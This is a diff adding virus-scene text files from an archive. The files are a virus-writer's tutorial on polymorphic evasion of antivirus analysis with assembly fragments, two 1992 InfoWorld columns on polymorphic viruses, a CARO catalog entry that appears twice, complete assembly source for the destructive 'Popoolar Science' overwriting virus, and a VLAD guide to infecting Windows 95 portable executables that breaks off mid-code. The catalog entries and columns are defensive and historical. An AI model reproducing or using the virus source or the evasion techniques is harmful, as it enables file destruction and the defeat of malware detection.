00000000..a5310d4c --- /dev/null +++ b/textfiles.com/virus/polymorph.txt @@ -0,0 +1,343 @@ + POST - DISCOVERY - STRATAGIES + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + By Sepultura + + -USE-ANARCHY-TO-GET-WHAT-YOU-WANT- + + Introduction + ~~~~~~~~~~~~ + + Most virii these days, take many Pre-Discovery precautions. This +simply means that they take precautions to avoid discovery, assuming the +virus has not already been discovered. Common examples of Pre-Discovery +Stratagies are File Stealth, Sector Stealth, and MCB stealth (i.e any +stealth). These mechanisms are used to stop the virus being discovered, +but once it has been discovered, and is in the hands of the AV, they're +essentially useless. It is only a matter of days (or even hours) until a +suitable scan string or algorithm has been determined, for inclusion in +to there AV programs. + + There is how ever, a solution: POST DISCOVERY STRATAGIES. These +are mechanisms that instead of serving the purpose of hiding the virus +from detection, make the virus harder to analyse, and hence determine a +scan string or detection algorithm. To be entirely honest, the previous +statement is not completely correct - in order to take advantage of any +of these methods your virus can not have a scan string - without atleast +polymorphism, Post Discovery Stratagies ARE USELESS. This document will +be divided in to three main sections: Polymorphism + Anti-Bait Techniques + Anti-Debugger Techniques. + + I have decided to do it in that particular order, as it follows +my master scheme, which in my opinion takes maximum advantage of Post +Discovery Stratagies, and which I will outline throughout this document. + + I have supplied example code fragments throughout this document, +several full programs in the Anti - Debugger section, as well as a bait +maker in the Anti-Bait section, so you can test your Anti-Bait routines. + + + Polymorphism + ~~~~~~~~~~~~ + + -I-USED-THE-ENEMY-I-USED-ANARCHY- + + This section is not intended to tell you what a polymorphic +engine is, nor will it tell you how to code one. If you do not know +either of these, you should read this when you do, or alternatively you +could read this, and take the explained methods in to account when you +do code one. + + The thing you have to remember is that the AV people need to +devise an alogrithm that will detect near to 100% of their samples, but +at the same time, have only a small number of false positives. Your job, +is ofcourse, to stop them from doing this. + + + Polymorphism: The Obvious + ~~~~~~~~~~~~~~~~~~~~~~~~~ + One of the most obvious things that would you help in your Post +Discovery Stratagies, is to make the decryptors and junk as varied as is +possible. This way, they cannot use an algorithm that traces through the +code, and concludes that the file is not infected, as soon as an opcode +is encounted that can't be generated by your engine. What might not seem +to obvious, is that although your engine should be able to CREATE a wide +variety of junk instructions, it should not USE a wide variety of junk +instructions in each decryptor. This might seem strange, but it can be +very useful in delaying the AV's efforts. This is because there are two +methods that the AV will use to analyse your engine: + + 1. They will disassemble the virus and analyse the engine, to see + what it can generate in all possible cases. + + 2. They will infect 10s of thousands of bait files to see what it + generates in all possible cases. + + + The first of these can be countered by keeping the actual engine +encrypted, independently of the virus, and then keeping the decryptor +protected - using the methods outlined in Section 3 (Anti - Debugger +Techniques). + + The second method can be countered using the techniques that +will be discussed in this section (Polymorphism), and Section 2 (Anti - +Bait Techniques). + + By using only a very small variety of the large number of junk +instructions that your engine can generate, when the AV people look at +the sample bait files, they will only see a small selection of the junk +that your virus can really create. Because your polymorphic engine is so +heavily encrypted / armoured, they will not have time to disassemble it, +and will have to make their judgements based on the bait files. However, +since the decryptors will only have a limited selection of all possible +cases, they could easilly make the mistake of basing their algorithm on +just those decryptors, and release an incomplete algorithm. Of course +they will not realise their mistake until it is to late. Let us look at +the following code as an example: + +------------------------------------------------------------------------ +;Please note that this is simply a code fragment. junk? are supposed to +;be sub-procedures that create different junk opcodes, while get_rand is +;supposed to be a sub-procedure that returns a random number in AX +;between 0 and AX. It is assumed that ES = DS = CS. + +choose_junk_routines: + mov cx,5 ;This code should be run only once, + mov ax,0Ah ;when the virus installs it self TSR. + call get_rand ;It will select 5 out of 15 junk + add ax,ax ;routines to call for the decryptors. + xchg si,ax ;Because it is only run once, all + add si,offset main_junk_tbl ;decryptors will only use those junk + mov di,offset junk_tbl ;routines 'til the system is rebooted + rep movsw ;and the virus re-installed. + + ... + +main_junk_tbl: ;This is a table, listing all + dw offset junk0 ;possible junk routines. + dw offset junk1 + dw offset junk2 + dw offset junk3 + dw offset junk4 + dw offset junk5 + dw offset junk6 + dw offset junk7 + dw offset junk8 + dw offset junk9 + dw offset junkA + dw offset junkB + dw offset junkC + dw offset junkD + dw offset junkE + +junk_tbl: ;This is a table, to store the 5 junk + dw 0,0,0,0,0 ;routines to actually be used. + + ... + +put_junk: + mov ax,4 ;This routine when, called will + call get_rand ;generate 1 junk instruction. + add ax,ax ;It will call 1 of the 5 routines + xchg si,ax ;stored in junk_tbl. + lodsw + call ax + ret +------------------------------------------------------------------------ + + The above code fragment, will ensure that all files infected in +any 1 session, will only use 5 out of the 15 possible junk instructions. + + + Polymorphism: Slow Mutation + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The above techniques work well, but can be even more effective, +when used in conjucntion with slow mutation. Slow Mutation basically +means that instead of making certain descisions based on random numbers, +you make the descisions based on relatively static values. The most +common values used for this, are from the date (i.e. the month or day of +the month). For example, let us imagine that the sub - procedure +'choose_junk_routines' in the previous example, was replaced with this: + +------------------------------------------------------------------------ +choose_junk_routines: + mov ah,2a ;ah=2a/i21 (get system date) + int 21 + mov dl,0 + xchg dh,dl + xchg dx,ax + cwd ;ax=month, dx=0 + mov cx,6 + div cx ;divide month by 6 + xchg dx,ax ;ax = remainder (i.e. 0 - 5) + add ax,ax + xchg si,ax + add si,offset main_junk_tbl + mov di,offset junk_tbl + mov cx,5 + rep movsw +------------------------------------------------------------------------ + + The advantage of using this method, is that the same set of five +junk routines will be used for a ENTIRE MONTH. With the previous example +if the AV was to make some bait files, and look at them, and think that +your virus only generated five different junk instructions, and then ran +the bait maker again, another time, after resetting the system, he/she +would get bait file with (probably) a different set of junk instructions +in the decryptor. Because of this, he/she would probably catch on. This +is important to note, because they will have to make a set of bait files +to devise the algorithm, and then at least another set to test it. If +you based the 5 instructions on the month, and armoured the choose_junk_ +routines procedure, then they would get the same 5 instructions, because +they would be all produced in the same month, and would not easily catch +on. Other things you should base upon slow mutation techniques include +things such as what registers to use, the looping method, the encrypt/ +decrypt method, and the length of the decryptor. This way, they have to +reboot the computer each time, and set a new date, to see all possible +combinations. Consisdering there are thousands of bait file to be made, +this also means that there are thousands of resets to be done! + + Another thing you could base slow mutation descisions on, is a +generation counter. This is very effective, because if the AV runs an +infected file, and then because the virus is TSR in memory, runs the +bait creator, to create some infected samples, all the infected samples, +will be of the same generation. Even if the AV people think of changing +the date, the fact that the virus changes some aspects of itself on each +generation, will not be so obvious. This is especially true if the virus +makes the changes on, say every fourth generation, instead of each and +every generation. For example: + +------------------------------------------------------------------------ + + inc cs:word ptr generation ;This should be run once, + ;at installation. + + ... + +;This sub-procedure will choose what method to use to decrement the +;count register. It will choose one of the 8 possible procedures to +;call from the "decrement_tbl" table. Instead of choosing a method at +;random, it divdes the generation by 8, and then takes the modulos of +;(GENERATION / 8) / 8, to choose which procedure to use. In short, the +;decrement method will only change every 8th generation. The AV do not +;spend enough time to see all possible methods, as they would have to +;look at 64 different generations. They will most likely look at only +;one or two. + +choose_decrement_method: + mov ax,0 +generation equ $-2 ;Generation counter starts at 0 + + shr ax,3 ;Divide Generation count by 8 + and ax,7 ;get number between 0 and 7 + add ax,ax + xchg si,ax + add si,offset decrement_tbl + lodsw + call ax + ret + + ... + +decrement_tbl: ;this is supposed to be a table of + dw offset code_dec_reg ;all the possible procedures you can + dw offset code_sub_reg_1 ;use to decrement the count register. + dw offset code_add_reg_negative_1 + dw offset code_clc_sbb_reg_1 + dw offset code_stc_sbb_reg_0 + dw offset code_clc_adc_reg_negative_1 + dw offset code_stc_adc_reg_negative_2 + dw offset code_inc_dec_dec_reg +------------------------------------------------------------------------ + + Of course, you do not have to base something as trivial as the +method of decrement on the generation counter, and could instead base +something more important like the actual method of decryption on it. + + Also, if you wanted to be really sly (and I know you do), you +could use the above method, but then release the virus in the wild, with +its generation counter set to something like 16. This way, no one will +see the first 2 methods, until the generation counter has carried over. +About a week after releasing it, you could release it somewhere else, so +that the AV people will get the first specimen, and their algorithm will +be missing the first two methods, while the second infection you release +can have the counter set to 0, so that the decryptors using the first +two methods will be in the wild, and will spread, before the AV realise +their mistake. + + Another thing you could base your slow poly on, is the file you +are infecting. For example, let us imagine you based the above example +on the SIZE of the file to be infected, divided by 1000, rather then the +GENERATION divided by 8. Since the bait files will be of the same or +similar size, little to no change will be seen. If a different file of a +different size was infected however, you would have a totally different +decryptor! + + + Polymorphism: Make No Two Conditions Dependant + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + One of the biggest mistakes you could make when coding an engine +is making two conditions dependant on the same thing. For example let us +imagine that you made both the index register used, and the decryption +method used dependant on the month. This could possibly mean, that when +XOR encryption is used, you can guarantee BX is the index register, and +when ADD is used SI will be the index register. This way, all they have +to do is check for a XOR [SI],?? instruction or a ADD [BX],??. If you +made this mistake, and had four index registers, and four decryption +methods, the scanner need only to check for four possible instructions. +However, if these were decided on totally independant criteria, they +would have to check for 16 different instructions, increasing the chance +of false positives. For another example, let us look at the following: +------------------------------------------------------------------------ + +code_jmp: mov ax,3f ;this code will generate a random + call get_rand ;conditional jump, to a random offset + mov ah,al ;between 0 adn 3f bytes from the + or al,70 ;jump. Note that the conditional + stosw ;jumps are 70h -> 7fh. +------------------------------------------------------------------------ + + The above example will always generate, a working, conditional +jump. It does however have a fairly obvious flaw. If the jump opcode is +70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump +opcode is 70h then the offset of the jump will be 1, 11h, 21h, or 31h. +This will remain true for all of 70h to 7fh. This is very dangerous, as +a scanner could something like this in its algorithm: +------------------------------------------------------------------------ + +;This code fragment, is assumed to be part of a scanner that is tracing +;through the code it scans. It is assumed that DS:SI points to the current +;instruction being processed. + + lodsw + cmp al,70 + jb not_cond_jmp + cmp al,7f ;checks if we are dealing with a + ja not_cond_jmp ;conditional jump. + + and ax,0f0f ;If the jump was generated with the + cmp al,ah ;above example, AL will always = AH. + jne file_not_infected + +not_cond_jmp: +------------------------------------------------------------------------ + + As you can see, if many things are dependant on each other, an +algorithm could be used that uses techniques like the above, and if all +rules are followed, safely assume the file was infected. To avoid the +above check, the conditional jump coder should be something like this: +------------------------------------------------------------------------ + + mov ax,3f + call get_rand + mov bl,al + mov al,0f + call get_rand + or al,70 + mov ah,bl + stosw +------------------------------------------------------------------------ + + As you can see, in the above example, the offset of the jump is +totally independant of the jumps opcode. This will make the detection +algorithm alot harder to devise. diff --git a/textfiles.com/virus/polymrph.txt b/textfiles.com/virus/polymrph.txt new file mode 100644 index 00000000..71683982 --- /dev/null +++ b/textfiles.com/virus/polymrph.txt @@ -0,0 +1,249 @@ + Polymorphic viruses escape detection but get our attention + + Last week, we faced the implications of the next-generation +ultrastealth viruses that are now reproducing themselves among us. +Because a few of these viruses have already been found to be +employing this new scanner-beating self-modifying technology and +because their is nothing particularly difficult about writing such +a polymorphic virus, I feel there is more good than harm in a +public discussion of this nasty new breed. + (I know that many readers are wondering what happened to my +promised solution to the spread of these viruses; it will come next +week after I illustrate the danger of these new germs.) + viruses can be detested by recognizing either their dynamic +actions or their static presence. Dynamic-action recognition +provides the potential benefit of stopping unknown viruses. +Nevertheless, today's smarter viruses can circumvent such +interception easily. If the virus wishes to have a higher level of +software access to the system, several techniques are known for +getting underneath DOS and BIOS interception, so resident blockers +are all but useless. + Static-presence recognition scans the entire system for the +"fingerprints" of known viruses. Today's deliberately elusive +polymorphic viruses can evade this detection entirely. + The simple idea behind the polymorphic virus is that the bulk of +the virus can be scrambled by a random number. Every IBM-compatible +PC has a counter/timer chip that can be used as the source for a +completely nondeterministic 16-bit random number. When the virus +clones itself into a new environment, it can use the instantaneous +value of the counter/timer as a scrambling starting point. By +algorithmically altering every byte of itself based upon this +initial number, the newly propagated virus will be immune to +fingerprint detection. + There's one flaw in this approach: The small kernel of code used +to unscramble the body of the virus must be left in an unscrambled +state so the computer can execute it and unscramble the balance of +the virus. This means the unscrambling portion could still be +fingerprinted and identified. + This problem could be easily solved: By deliberately interlacing +irrelevant "do nothing" instructions among those that perform the +unscrambling work, every stored instance of the unscrambling kernel +could be completely different from all the others. As the virus +copies itself to a new destination, it randomly draws from a +repertory of superfluous instructions, peppering them liberally +throughout the new copy of itself. + As you can see, these techniques can be teamed up with activity +interception avoidance to create a new breed of viruses that would +be virtually impossible to detect. + It is quite annoying that we must expend our resources in the +prevention of this software terrorism. But there may be some value +in experiencing this terrorism now. Most viruses have been the work +of amateurs and are far from devastating. + Being told on Friday the 13th that your computer is "stoned" is +annoying as hell, and having to type "Happy Birthday to Joshi" +early in January makes you wonder who's in charge. But it sure +beats being informed that your company's customer list and the +archived source code for your next unreleased product have just +been transmitted by modem to your competition. When your network's +database and modem servers receive remote procedure calls (RPCs) +from remote workstations, are you sure they should answer that +call? + We need to begin tightening up our systems and taking security +very seriously. Personal computing is not just a diversion from the +tedium of sharpening pencils; it is a serious endeavor that is +extremely prone to organized and deliberate attack. If a bored, +pimply faced highschool kid is capable of penetrating your +corporation's security with his annoying but benign virus, you had +better hope he never wants to hurt you. + + Steve Gibson is the developer and publisher of SpinRite and +president of Gibson Research Corp., based in Irvine California. + From April 20,1992 issue of InfoWorld\ + At last, how to protect yourself from polymorphic viruses + + My past two columns concerning the threat presented by polymorphic +viruses triggered an informative conversation with the industry's +chief virus researcher, John McAfee. During that conversation I +learned that things are even worse than I'd supposed. + It turns out that the " Dark Avenger" bulletin board system, which +disseminates virus code, has recently published the complete source +code for the Dark Avenger Mutation engine. The mutation engine is +nothing less than a first-class code kernel that can be tacked on +to any existing or future virus to turn it into a nearly impossible +to detect self-encrypting polymorphic virus. + My examination of a sample virus encrypted by the Mutation Engine +provided by McAfee revealed alarming capabilities. Not only do Dark +Avenger Mutation Engine viruses employ all of the capabilities I +outlined in last week's theoretical polymorphic virus column, but +they also use a sophisticated reversible encryption algorithm +generator. + The Mutation Engine uses a metalanguage-driven algorithm generator +that allows it to create an infinite variety of completely original +encryption algorithms. The resulting unique algorithms are then +salted with superflous instructions, resulting in decryption +algorithms varying from 5 to 200 bytes long. + Because McAfee has already received many otherwise known viruses +that are now encapsulated with the Mutation Engine's polymorphic +encryption, it's clear that viruses of this new breed are now +traveling among us. + It is clear that the game is forever changed; the sophistication +of the Mutating Engine is amazing and staggering. Simple pattern- +matching virus scanners will still reliably detect the several +thousand well-known viruses; however these scanners are completely +incapable of detecting any of the growing number of viruses now +being cloaked by the Dark Avenger Mutation Engine. + So what can we ultimately do to twart current and future software +viruses? After brainstorming through the problem with some of our +industry's brightest developers and systems architects, I've +reached several conclusions: + First, scanning for known viruses within executable program code +is fundamentally a dead end. It's the only solution we have for the +moment, but the detectors can only find the viruses they are aware +of, and new developments such as the Mutation Engine render even +these measures obsolete. + Second, detecting the reproductive proclivities of viruses on the +prowl is prone to frequent false alarms and ultimately complete +avoidance. With time the viruses will simply circumvent the +detectors, at which time the detectors will only misfire for self- +modifying benign programs. + Third, the Achilles' heel of our current DOS-based PC is its +entirely unprotected nature. As long as executable programs( such +as benign and helpful system utilities) are able to freely and +directly access and alter the operating system and its file system, +our machines will be vulnerable to deliberate viral attack. + So here's my recommendation. + Only a next-generation protected mode operating system can enforce +the levels of security required to provide complete viral immunity. +By marking files and code overlays as "read and execute only" and +by prohibiting the sorts of direct file system tampering performed +by our current crop of system utilities, such operating systems +will be able to provide their client programs with complete viral +immunity. + The final Achilles' heel of a protected-mode operating system is +the system boot process, before and during which it is still +potentially vulnerable. By changing the system ROM-BIOS' boot +priorty to favor hard disc booting over floppy, thios last viral +path can be closed and blocked as well. + + note; Steve Gibson is the developer and publisher of SpinRite and +president of Gibson Research Corp., based in Irvine, Calif. Send +comments to InfoWorld via MCImail (259-2147) or fax them to (415) +358-1269 +Subject: Polymorphic Virus + +Here is a new entry from the Computer Virus Catalog, produced and +distributed by the Computer Anti-Virus Researcher's Organization (CARO), +at the University of Hamburg. + +Note the description of the Polymorphic Method, below, and that this +virus can presently be detected in a file only by the file change it +produces. + + +==== Computer Virus Catalog 1.2: Dedicated Virus (31-January 1992) === +Entry...............: Dedicated Virus +Alias(es)...........: --- +Virus Strain........: --- +Polymorphism engine.: Mutating Engine (ME) 0.9 +Virus detected when.: UK + where.: January 1992 +Classification......: Polymorphic encrypted program (COM) infector, + non-resident +Length of Virus.....: 3,5 kByte (including Mutating Engine) +--------------------- Preconditions ---------------------------------- +Operating System(s).: MS-DOS +Version/Release.....: 2.xx upward +Computer model(s)...: IBM - PCs, XT, AT, upward and compatibles +--------------------- Attributes ------------------------------------- +Easy Identification.: COM file growth (no other direct detection means + are known as virus encrypts itself, and due + to the installed mutation engine, all occu- + rences of this virus differ widely) +Type of infection...: COM file infector: all COM files in current + directory on current drive (disk,diskette) + are infected upon executing an infected file. +Infection Trigger...: Execution of an infected COM file. +Media affected......: Hard disk, any floppy disk +Interrupts hooked...: --- +Crypto method.....: The virus encrypts itself upon infecting a COM + file using its own encryption routine; upon + execution, the virus decrypts itself using + its own small algorithm. +Polymorphic method..: After decryption, the virus' envelope consisting + of Mutating Engine 0.9 will widely vary the + virus' coding before newly infecting another + COM file. Due to this method, common pieces + of code of more than three bytes (=signatures) + of any two instances of this virus are highly + improbable. + Remark: Mutating Engine 0.9 very probably was + developed by the Bulgarian virus writer + "Dark Avenger"; such a program was announced + early 1991 as permutating more than 4 billion + times, and it appeared in October 1991 or + before. + The class of permutating viruses is named + "polymorphic" to indicate the changing + structure which may not be identified with + contemporary means. To indicate the relation + to such common engine, the term "Polymorhic + engine (method)" has been introduced. + ME 0.9 was distributed via several Virus + Exchange Bulletin Boards, so it is possible + that other ME 0.9 related viruses appear. + According to (non-validated) information, an- + other ME 0.9 based virus (Pogue?) has been + detected in North America: COM file infector, + memory resident, length about 3,7 kBytes. +Damage..............: Virus overwrites at random times random sectors + (one at a time) with garbage (INT 26 used). +Damage Trigger......: Random time +Similarities........: --- +Particularities.....: The virus contains a text greeting a US based + female hacker; this text is visible after + decryption. +--------------------- Agents ----------------------------------------- +Countermeasures.....: Contemporarily, no automatic method for reliable + identification of polymorphic viruses known. +- ditto - successful: --- +Standard means......: --- +--------------------- Acknowledgement -------------------------------- +Location............: Virus Test Center, University Hamburg, Germany +Classification by...: Vesselin Bontchev, Klaus Brunnstein +Documentation by....: Dr. Alan Solomon +Date................: 31-January-1992 +===================== End of Dedicated Virus ========================= + +====================================================================== +== Critical and constructive comments as well as additions are == +== appreciated. Descriptions of new viruses are appreaciated. == +====================================================================== +== The Computer Virus Catalog may be copied free of charges provided = +== that the source is properly mentioned at any time and location == +== of reference. == +====================================================================== +== Editor: Virus Test Center, Faculty for Informatics == +== University of Hamburg == +== Vogt-Koelln-Str.30, D2000 Hamburg 54, FR Germany == +== Prof. Dr. Klaus Brunnstein, Vesselin Bontchev, == +== Simone Fischer-Huebner, Wolf-Dieter Jahn == +== Tel: (+40) 54715-406 (KB), -225 (Bo/Ja), -405(Secr.) == +== Fax: (+40) 54 715 - 226 == +== Email (EAN/BITNET): brunnstein@rz.informatik.uni-hamburg.dbp.de == +== bontchev@rz.informatik.uni-hamburg.de> == +== FTP site: ftp.informatik.uni-hamburg.de == +== Adress: 134.100.4.42 == +== login anonymous; password: your-email-adress; == +== directory: pub/virus/texts/catalog == +====================================================================== + \ No newline at end of file diff --git a/textfiles.com/virus/polyvir.txt b/textfiles.com/virus/polyvir.txt new file mode 100644 index 00000000..3c28ab82 --- /dev/null +++ b/textfiles.com/virus/polyvir.txt @@ -0,0 +1,107 @@ +Subject: Polymorphic Virus + +Here is a new entry from the Computer Virus Catalog, produced and +distributed by the Computer Anti-Virus Researcher's Organization (CARO), +at the University of Hamburg. + +Note the description of the Polymorphic Method, below, and that this +virus can presently be detected in a file only by the file change it +produces. + + +==== Computer Virus Catalog 1.2: Dedicated Virus (31-January 1992) === +Entry...............: Dedicated Virus +Alias(es)...........: --- +Virus Strain........: --- +Polymorphism engine.: Mutating Engine (ME) 0.9 +Virus detected when.: UK + where.: January 1992 +Classification......: Polymorphic encrypted program (COM) infector, + non-resident +Length of Virus.....: 3,5 kByte (including Mutating Engine) +--------------------- Preconditions ---------------------------------- +Operating System(s).: MS-DOS +Version/Release.....: 2.xx upward +Computer model(s)...: IBM - PCs, XT, AT, upward and compatibles +--------------------- Attributes ------------------------------------- +Easy Identification.: COM file growth (no other direct detection means + are known as virus encrypts itself, and due + to the installed mutation engine, all occu- + rences of this virus differ widely) +Type of infection...: COM file infector: all COM files in current + directory on current drive (disk,diskette) + are infected upon executing an infected file. +Infection Trigger...: Execution of an infected COM file. +Media affected......: Hard disk, any floppy disk +Interrupts hooked...: --- +Crypto method.....: The virus encrypts itself upon infecting a COM + file using its own encryption routine; upon + execution, the virus decrypts itself using + its own small algorithm. +Polymorphic method..: After decryption, the virus' envelope consisting + of Mutating Engine 0.9 will widely vary the + virus' coding before newly infecting another + COM file. Due to this method, common pieces + of code of more than three bytes (=signatures) + of any two instances of this virus are highly + improbable. + Remark: Mutating Engine 0.9 very probably was + developed by the Bulgarian virus writer + "Dark Avenger"; such a program was announced + early 1991 as permutating more than 4 billion + times, and it appeared in October 1991 or + before. + The class of permutating viruses is named + "polymorphic" to indicate the changing + structure which may not be identified with + contemporary means. To indicate the relation + to such common engine, the term "Polymorhic + engine (method)" has been introduced. + ME 0.9 was distributed via several Virus + Exchange Bulletin Boards, so it is possible + that other ME 0.9 related viruses appear. + According to (non-validated) information, an- + other ME 0.9 based virus (Pogue?) has been + detected in North America: COM file infector, + memory resident, length about 3,7 kBytes. +Damage..............: Virus overwrites at random times random sectors + (one at a time) with garbage (INT 26 used). +Damage Trigger......: Random time +Similarities........: --- +Particularities.....: The virus contains a text greeting a US based + female hacker; this text is visible after + decryption. +--------------------- Agents ----------------------------------------- +Countermeasures.....: Contemporarily, no automatic method for reliable + identification of polymorphic viruses known. +- ditto - successful: --- +Standard means......: --- +--------------------- Acknowledgement -------------------------------- +Location............: Virus Test Center, University Hamburg, Germany +Classification by...: Vesselin Bontchev, Klaus Brunnstein +Documentation by....: Dr. Alan Solomon +Date................: 31-January-1992 +===================== End of Dedicated Virus ========================= + +====================================================================== +== Critical and constructive comments as well as additions are == +== appreciated. Descriptions of new viruses are appreaciated. == +====================================================================== +== The Computer Virus Catalog may be copied free of charges provided = +== that the source is properly mentioned at any time and location == +== of reference. == +====================================================================== +== Editor: Virus Test Center, Faculty for Informatics == +== University of Hamburg == +== Vogt-Koelln-Str.30, D2000 Hamburg 54, FR Germany == +== Prof. Dr. Klaus Brunnstein, Vesselin Bontchev, == +== Simone Fischer-Huebner, Wolf-Dieter Jahn == +== Tel: (+40) 54715-406 (KB), -225 (Bo/Ja), -405(Secr.) == +== Fax: (+40) 54 715 - 226 == +== Email (EAN/BITNET): brunnstein@rz.informatik.uni-hamburg.dbp.de == +== bontchev@rz.informatik.uni-hamburg.de> == +== FTP site: ftp.informatik.uni-hamburg.de == +== Adress: 134.100.4.42 == +== login anonymous; password: your-email-adress; == +== directory: pub/virus/texts/catalog == +====================================================================== diff --git a/textfiles.com/virus/popscia86.vir b/textfiles.com/virus/popscia86.vir new file mode 100644 index 00000000..3bb4da54 --- /dev/null +++ b/textfiles.com/virus/popscia86.vir @@ -0,0 +1,122 @@ +;Popoolar Science virus - a very simple overwriting infector +;published in Crypt Newsletter 11, Dec. 1992. Edited by Urnst Kouch +; +;Popoolar Science is an indiscriminate, primitive over-writing +;virus which will attack all files in the current directory. +;Data overwritten by the virus is unrecoverable. Programs overwritten +;by Popoolar Science are infectious if their size does not exceed the +;64k boundary for .COM programs. .EXE's larger than this will not +;spread the virus; DOS will issue an "out of memory" message when the +;ruined program is loaded. Ruined programs of any type can only be erased +;from the disk to curb infection. +; +;If Popoolar Science is called into the root directory, the system files +;will be destroyed, resulting in a machine hang on start-up. +; +;Popoolar Science does not look for a ident-marker in infected files - it +;merely overwrites all files in the current directory repeatedly. Indeed, +;there seems no need for a self-recognition routine in such a simple +;program of limited aims. +; +; +;Popoolar Science will assemble directly to a .COMfile using Isaacson's +;A86 assembler. Use of a MASM/TASM compatible assembler will require +;addition of a set of declarative statements. +; +;Virus signature suitable for loading into VIRSCAN.DAT files of TBScan, +;McAfee's SCAN and/or F-PROT 2.0x: +;[POP] +;DE B8 01 43 33 C9 8D 54 1E CD 21 B8 02 3D CD 21 + +nosewheel: + + + jmp virubegin ; get going + +virubegin: push cs + pop ds + mov dx,offset msg + mov ah,09h ; Display subscription + int 21h ; endorsement for Popular + ; Science magazine. + + + mov dx,offset file_mask ; load filemask for "*.*" + call find_n_infect ; infect a file, no need for + ; an error routine - if no + ; files found, virus will + ; rewrite itself. + mov ax,04C00h ; exit to DOS + int 021h + + +find_n_infect: + push bp + + mov ah,02Fh ; get DTA + int 021h + push bx ; Save old DTA + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save filemask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; search for first host file + mov cx,00100111b ; CX holds all attributes + pop dx ; Restore file mask +findfilez: int 021h + jc reset ; reset DTA and get ready to exit + call write2file ; Infect file! + mov ah,04Fh + jmp short findfilez ; find another host file + +reset: mov sp,bp + mov ah,01Ah + pop dx ; Retrieve old DTA address + int 021h + + pop bp + ret + + +write2file: ; subroutine, writes virus over beginning of all files + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx + + + mov ax,04301h ; set file attributes + xor cx,cx + lea dx,[si + 01Eh] ; DX points to target handle + int 021h + + mov ax,03D02h ; open file, read/write + int 021h ; do it! + xchg bx,ax ; put handle in BX + + mov ah,040h ; write to file, start at beginning + mov cx,tailhook - nosewheel ; CX = virus length + mov dx,offset nosewheel ; DX points to start of virus + int 021h ; do it now! + + mov ax,05701h + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h ; restore them + + mov ah,3Eh ; close file + int 021h + + +exit: ; exit, dummeh! + ret + +file_mask db "*.*",0 ; Filemask for all files +msg db 'PopooLar ScIencE RoolZ!$' ;Popular Science mag message + +tailhook: + diff --git a/textfiles.com/virus/portexec.txt b/textfiles.com/virus/portexec.txt new file mode 100644 index 00000000..e3e79374 --- /dev/null +++ b/textfiles.com/virus/portexec.txt @@ -0,0 +1,220 @@ + + + Infection of Portable Executables + by + Qark and Quantum [VLAD] + + + The portable executable format is used by Win32, Windows NT and Win95, + which makes it very popular and likely to become the dominant form of + executable sometime in the future. The NE header used by Windows 3.11 + is completely different to the PE header and the two should not be + confused. + + None of the techniques in this document have been tested on Windows NT + because no virus writer (we know) has access to it. + + At the bottom of this document is a copy of the PE format, which is not + easy to follow but is the only reference publicly available. Turbo + Debugger 32 (TD32) is the debugger used during the research of this + text, but SoftIce'95 also does the job. + + Calling Windows 95 API + 컴컴컴컴컴컴컴컴컴컴컴 + + A legitimate application calls win95 api by the use of an import + table. The name of every API that the application wants to call is + put in the import table. When the application is loaded, the data + needed to call the API is filled into the import table. As was + explained in the win95 introduction (go read it), we cannot modify + this table due to Microsoft's foresight. + + The simple solution to this problem is to call the kernel directly. + We must completely bypass the Win95 calling stucture and go straight + for the dll entrypoint. + + To get the handle of a dll/exe (called a module) we can use the API + call GetModuleHandle and there are other functions to get the + entrypoint of a module - including a function to get the address of an + API, GetProcAddress. + + But this raises a chicken and egg question. How do I call an API so I + can call API's, if I can't call API's ? The solution is to call api + that we know are in memory - API that are in KERNEL32.DLL - by calling + the address that they are always located at. + + Some Code + 컴컴컴컴� + + A call to an API in a legitimate application looks like: + + call APIFUNCTIONNAME +eg. call CreateFileA + + This call gets assembled to: + + db 9ah ; call + dd ???? ; offset into jump table + + The code at the jump table looks like: + + jmp far [offset into import table] + + The offset into the import table is filled with the address of the + function dispatcher for that API function. This address is obtainable + with the GetProcAddress API. The function dispatcher looks like: + + push function value + call Module Entrypoint + + There are API functions to get the entrypoint for any named module but + there is no system available to get the value of the function. If we + are calling KERNEL32.DLL functions (of which are all the functions + needed to infect executables) then we need look no further than this + call. We simply push the function value and call the module + entrypoint. + + Snags + 컴컴� + + In the final stages of Bizatch we beta tested it on many systems. + After a long run of testing we found that the KERNEL32 module was + static in memory - exactly as we had predicted - but it was at a + different location from the "June Test Release" to the "Full August + Release" so we needed to test for this. What's more, one function + (the function used to get the current date/time) had a different + function number on the June release than it did on the August release. + To compensate I added code that checks to see if the kernel is at one + of the 2 possible locations, if the kernel isn't found then the virus + doesn't execute and control is returned to the host. + + Addresses and Function Numbers + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + For the June Test Release the kernel is found at 0BFF93B95h + and for the August Release the kernel is found at 0BFF93C1Dh + + Function June August + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + GetCurrentDir BFF77744 BFF77744 + SetCurrentDir BFF7771D BFF7771D + GetTime BFF9D0B6 BFF9D14E + MessageBox BFF638D9 BFF638D9 + FindFile BFF77893 BFF77893 + FindNext BFF778CB BFF778CB + CreateFile BFF77817 BFF77817 + SetFilePointer BFF76FA0 BFF76FA0 + ReadFile BFF75806 BFF75806 + WriteFile BFF7580D BFF7580D + CloseFile BFF7BC72 BFF7BC72 + + + Using a debugger like Turbo Debugger 32bit found in Tasm 4.0, other + function values can be found. + + Calling Conventions + 컴컴컴컴컴컴컴컴컴� + + Windows 95 was written in C++ and Assembler, mainly C++. And although + C calling conventions are just as easy to implement, Microsoft didn't + use them. All API under Win95 are called using the Pascal Calling + Convention. For example, an API as listed in Visual C++ help files: + + FARPROC GetProcAddress( + HMODULE hModule, // handle to DLL module + LPCSTR lpszProc // name of function + ); + + At first it would be thought that all you would need to do is push the + handle followed by a pointer to the name of the function and call the + API - but no. Due to Pascal Calling Convention, the parameters need + to be pushed in reverse order: + + push offset lpszProc + push dword ptr [hModule] + call 